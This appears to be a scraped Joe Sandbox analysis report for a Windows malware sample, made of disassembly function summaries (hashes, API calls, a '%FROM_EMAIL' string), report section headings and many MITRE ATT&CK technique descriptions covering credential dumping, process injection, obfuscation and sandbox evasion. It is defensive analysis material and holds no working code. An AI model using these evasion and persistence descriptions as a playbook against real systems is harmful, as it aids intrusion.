Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 7ef293775a329de630e5fd7893059706b09e9920c2c4ad696fbf6875ca8a0abd
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 7831A431A00606ABDB119BB8DC48BEE7FB8BF04765F144225F514E71A0DB74DA41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0054B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0054B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0054B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 0054B531
GetTimeZoneInformation.KERNEL32(?), ref: 0054B579
wsprintfA.USER32 ref: 0054B607

Memory Dump Source

Source File: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 86fccf533b1d600fd4e194b037ff5280ee97384fe23b652b6da721a0532b2df0
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 2C513271D0021DAADF14DFD4D8485EEFBB9BF48304F10852AE505A6150E7B88AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0054BC63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0054B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0054BA23
InterlockedIncrement.KERNEL32(?), ref: 0054BA7D
GetTickCount.KERNEL32 ref: 0054BB62
GetTickCount.KERNEL32 ref: 0054BB82
InterlockedIncrement.KERNEL32(?), ref: 0054BDFE
closesocket.WS2_32(00000000), ref: 0054BE9D

Strings

%FROM_EMAIL, xrefs: 0054BC66

Memory Dump Source

Source File: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 128cd7de48aae1198be1161e2d3c2bdf6fa8328211eec3f83ebec61d96fafe89
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: BA318071900248EFEF25DFA4DC88AED7BB8FB84704F20445AFA2492151EB35DA94CF14

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
Tactics:	Initial Access
Data Sources:	DNS records, Detonation chamber, Email gateway, Mail server, Packet capture, SSL/TLS inspection, Web proxy
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report nkINykHreE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre